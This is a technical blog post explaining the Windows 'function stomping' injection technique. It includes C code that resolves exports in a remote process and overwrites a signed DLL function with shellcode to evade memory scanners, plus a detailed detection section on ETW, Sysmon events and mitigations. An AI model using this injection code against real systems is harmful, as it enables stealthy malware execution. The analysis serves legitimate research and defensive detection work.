Classic shellcode injection gets caught because of what it puts in the VAD tree. VirtualAllocEx creates a private committed region with PAGE_EXECUTE_READWRITE. Every memory scanner in existence walks the VAD, finds private RWX pages, and flags them. The shellcode bytes are often secondary; the allocation itself is the signal.

Function stomping sidesteps this by not allocating anything. You pick a function in a DLL that’s already mapped in the target, overwrite its body with shellcode, and execute from there. The thread start address sits inside a legitimate signed module. The VAD entry for that page is MEM_IMAGE, not MEM_PRIVATE. Scanners looking for private executable allocations find nothing.

The tradeoff is a different set of signals, which the detection section covers.

How the VAD changes

Before touching anything, the target process has a normal VAD entry for setupapi.dll:

text
BaseAddress    RegionSize  State       Protect          Type
0x7ff9a30000   0x1a5000    MEM_COMMIT  PAGE_EXECUTE_READ  MEM_IMAGE

After a classic VirtualAllocEx injection, there is a new entry:

text
BaseAddress   RegionSize  State       Protect           Type
0x210000000   0x1000      MEM_COMMIT  PAGE_EXECUTE_READWRITE  MEM_PRIVATE

After function stomping, there is no new entry. The setupapi.dll region still exists. Its type is still MEM_IMAGE. The protect field shows PAGE_EXECUTE_READWRITE only while you hold it open; you restore it after the write.

VAD comparison: classic injection vs function stompingClassic injectionFunction stompingsetupapi.dll MEM_IMAGEPAGE_EXECUTE_READ0x7ff9a30000 - 0x7ff9bd5000setupapi.dll MEM_IMAGEPAGE_EXECUTE_READ0x7ff9a30000 - 0x7ff9bd5000shellcode region MEM_PRIVATEPAGE_EXECUTE_READWRITE0x210000000 - 0x210001000Scanner sees: private RWX pageNo backing file. Not in module list.FLAGGED.SetupScanFileQueueA (stomped)PAGE_EXECUTE_READ (restored)still inside setupapi.dll rangeScanner sees: module-backed page.Signed image. Looks clean.Thread start addr in setupapi.dll.VirtualProtectEx needed?No (write to private page)VirtualProtectEx needed?Yes (image-backed .text is RX)VAD attributionMEM_PRIVATEVAD attributionMEM_IMAGE

Finding the function VA in the remote process

The naive approach loads the DLL locally, calls GetProcAddress, and uses that address in the remote process. This works when ASLR loads the DLL at the same base in both processes, which is normally true for system DLLs because they get mapped from shared sections (the same physical pages back all instances). The base address is the same because the image was already mapped when your process started. In practice, this holds for setupapi.dll, ntdll.dll, and most system DLLs on the same Windows build.

The cleaner approach resolves the export directly from the remote process’s loaded modules without touching the local address space. Snapshot the target’s modules with CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, ...), find the base address of the target DLL, read its export directory from the remote address space, and resolve the VA manually.

c
static BOOL RemoteRead(HANDLE hProcess, LPCVOID src, PVOID dst, SIZE_T len) {
    SIZE_T read = 0;
    return ReadProcessMemory(hProcess, src, dst, len, &read) && read == len;
}

static PVOID ResolveRemoteExport(HANDLE hProcess, LPCSTR dllName, LPCSTR exportName)
{
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, GetProcessId(hProcess));
    if (hSnap == INVALID_HANDLE_VALUE) return NULL;

    MODULEENTRY32 me;
    me.dwSize = sizeof(me);
    PVOID modBase = NULL;

    if (Module32First(hSnap, &me)) {
        do {
            if (_stricmp(me.szModule, dllName) == 0) { modBase = me.modBaseAddr; break; }
        } while (Module32Next(hSnap, &me));
    }
    CloseHandle(hSnap);
    if (!modBase) return NULL;

    IMAGE_DOS_HEADER dos = {0};
    if (!RemoteRead(hProcess, modBase, &dos, sizeof(dos))) return NULL;
    if (dos.e_magic != IMAGE_DOS_SIGNATURE) return NULL;

    IMAGE_NT_HEADERS64 nt = {0};
    if (!RemoteRead(hProcess, (PBYTE)modBase + dos.e_lfanew, &nt, sizeof(nt))) return NULL;

    IMAGE_DATA_DIRECTORY expDir = nt.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
    if (!expDir.VirtualAddress) return NULL;

    IMAGE_EXPORT_DIRECTORY exp = {0};
    if (!RemoteRead(hProcess, (PBYTE)modBase + expDir.VirtualAddress, &exp, sizeof(exp)))
        return NULL;

    DWORD  nameCount   = exp.NumberOfNames;
    DWORD *rvaNames    = malloc(nameCount * sizeof(DWORD));
    WORD  *rvaOrdinals = malloc(nameCount * sizeof(WORD));
    DWORD *rvaFuncs    = malloc(exp.NumberOfFunctions * sizeof(DWORD));
    if (!rvaNames || !rvaOrdinals || !rvaFuncs) {
        free(rvaNames); free(rvaOrdinals); free(rvaFuncs); return NULL;
    }

    RemoteRead(hProcess, (PBYTE)modBase + exp.AddressOfNames,         rvaNames,    nameCount * sizeof(DWORD));
    RemoteRead(hProcess, (PBYTE)modBase + exp.AddressOfNameOrdinals,  rvaOrdinals, nameCount * sizeof(WORD));
    RemoteRead(hProcess, (PBYTE)modBase + exp.AddressOfFunctions,     rvaFuncs,    exp.NumberOfFunctions * sizeof(DWORD));

    PVOID result = NULL;
    for (DWORD i = 0; i < nameCount; i++) {
        char name[256] = {0};
        RemoteRead(hProcess, (PBYTE)modBase + rvaNames[i], name, sizeof(name) - 1);
        if (strcmp(name, exportName) == 0) {
            WORD ord = rvaOrdinals[i];  /* index into AddressOfFunctions */
            result = (PBYTE)modBase + rvaFuncs[ord];
            break;
        }
    }

    free(rvaNames); free(rvaOrdinals); free(rvaFuncs);
    return result;
}

Why this export

SetupScanFileQueueA is the canonical choice. It lives in setupapi.dll, which most GUI processes load. It’s an obscure A-suffix setup API that nothing calls at runtime in a normal desktop process. The function body is large enough to hold common shellcode payloads. On a NULL queue handle argument it may return an error code rather than proceeding, reducing the risk of a crash if execution accidentally falls through, though this is implementation-defined and version-dependent.

The general criteria for choosing a stomping target:

  • Long enough body to contain the payload (no spilling into adjacent exports)
  • DLL is already mapped in target (no forced LoadLibrary that would be visible)
  • Function is not actively called during your operation window
  • DLL is a legitimate signed Windows DLL, not a third-party one

ntdll!RtlDecompressBuffer is another option if you need a function in ntdll: it has a real implementation body (not a syscall stub), it is rarely called in normal desktop processes, and ntdll is present in every process. The downside is that ntdll is heavily scrutinised by EDRs; some products hash-check its exports on load.

The protection cycle matters

StompFunction handles the write:

c
static BOOL StompFunction(HANDLE hProcess, PVOID pTarget,
                          PBYTE payload, SIZE_T payloadLen)
{
    DWORD oldProtect = 0;

    if (!VirtualProtectEx(hProcess, pTarget, payloadLen,
                          PAGE_READWRITE, &oldProtect)) {
        fprintf(stderr, "[!] VirtualProtectEx RW failed: %lu\n", GetLastError());
        return FALSE;
    }

    SIZE_T written = 0;
    if (!WriteProcessMemory(hProcess, pTarget, payload, payloadLen, &written)
        || written != payloadLen) {
        VirtualProtectEx(hProcess, pTarget, payloadLen, oldProtect, &oldProtect);
        return FALSE;
    }

    if (!VirtualProtectEx(hProcess, pTarget, payloadLen,
                          PAGE_EXECUTE_READ, &oldProtect)) {
        return FALSE;
    }

    return TRUE;
}

The full sequence is:

text
PAGE_READWRITE    <- VirtualProtectEx (removes execute)
WriteProcessMemory
PAGE_EXECUTE_READ <- VirtualProtectEx (restores normal .text protection)

Not this:

text
PAGE_EXECUTE_READWRITE  <- VirtualProtectEx
WriteProcessMemory
(leave as RWX)

The second version leaves PAGE_EXECUTE_READWRITE on a page that was MEM_IMAGE. That is a loud signal. The VAD entry now looks like a private RWX allocation attributed to a module’s address range, which is suspicious in its own right. Restoring PAGE_EXECUTE_READ means the page looks normal post-write. The only window where protection is elevated is during the write itself.

What it looks like from inside the target

After the write, looking at the memory region with VirtualQuery:

text
BaseAddress:       0x7ff9a31000      <- inside setupapi.dll
AllocationBase:    0x7ff9a30000
AllocationProtect: PAGE_EXECUTE_WRITECOPY  <- image section base protection
RegionSize:        0x1000
State:             MEM_COMMIT
Protect:           PAGE_EXECUTE_READ
Type:              MEM_IMAGE

Type is MEM_IMAGE. AllocationBase is the module base. A scanner checking “is this page inside a loaded signed module” passes. The shellcode bytes are there, but they look like code belonging to setupapi.dll.

Detection

The technique avoids one detection class while lighting up others.

VirtualProtectEx on an image-backed region. This is the primary signal. Changing permissions on a MEM_IMAGE page to include write access is not something any legitimate code does at runtime. EDRs with kernel callbacks or ETW providers watching NtProtectVirtualMemory events flag this. The target address falls in the image range of a loaded module; the requested protection includes write. That combination is extremely rare outside of process injection.

Sysmon does not emit a dedicated event for VirtualProtectEx calls, but ETW’s Microsoft-Windows-Threat-Intelligence provider fires on protection changes via KERNEL_THREATINT_TASK_PROTECTVM_REMOTE and KERNEL_THREATINT_TASK_PROTECTVM_LOCAL. Dedicated EDR hooks on NtProtectVirtualMemory (or its syscall) catch it before it returns.

WriteProcessMemory into image-backed memory. Standard WriteProcessMemory emits an ETW event regardless of target type. When the destination address is inside a loaded module’s address range, that’s a more interesting event than a write to a private heap region. Some EDRs correlate WPM destination addresses against the loaded module list.

CreateRemoteThread with start address in a module. Thread creation notifications fire via PsSetCreateThreadNotifyRoutine. The start address, SetupScanFileQueueA, is inside a loaded module. This looks less suspicious than a start address in a private anonymous region. It is not a free pass: EDRs that record the full memory path and notice that the thread start address was recently written via WPM flag it. The thread start address being in a legitimate module is plausible deniability, not actual cover.

Sysmon event IDs.

  • Event ID 8 (CreateRemoteThread): fires on CreateRemoteThread. StartAddress will show the setupapi.dll export. SourceImage and TargetImage are both logged.
  • Event ID 10 (ProcessAccess): fires on OpenProcess. The access rights requested (PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD) are logged.

Neither event alone is conclusive. The combination of Event 10 (with write+execute-thread rights) followed by Event 8 (with start address in a system DLL that the target process uses) within a short window is what a detection rule stitches together.

ACG. The relevant mitigation is ACG (Arbitrary Code Guard, ProcessDynamicCodePolicy). With ACG enabled, VirtualProtectEx cannot change memory to executable — the technique breaks. HVCI is a kernel-mode enforcement and does not affect user-mode protection changes.

Memory scanners comparing bytes to on-disk image. If a scanner reads the bytes at SetupScanFileQueueA in the target process and compares them against the bytes at the same RVA in the on-disk DLL, the mismatch is obvious. This is expensive to do for every export in every module, but targeted scanning of commonly-stomped exports is feasible. Some AV products do exactly this on-access.

Comparison to classic injection

The Early Bird APC post covers the baseline shellcode injection telemetry in detail. Function stomping removes one signal (private RWX page) and adds another (VirtualProtectEx on image-backed memory). Neither approach is invisible. The choice depends on what the target environment actually monitors:

  • VAD-walking scanner, no ETW hooks: stomping wins.
  • Full ETW pipeline with NtProtectVirtualMemory events: stomping is noisier than classic injection because the protection change on a MEM_IMAGE page is a higher-fidelity signal than a new private page.
  • ACG enabled: stomping doesn’t work.

The inline hook post covers the mechanics of overwriting function bytes in more detail, including RIP-relative fixups for displaced instructions if you need to keep the original function callable after the stomp.

Source

Full compilable implementation (ResolveRemoteExport, StompFunction, StompAndExecute, main): stomp.c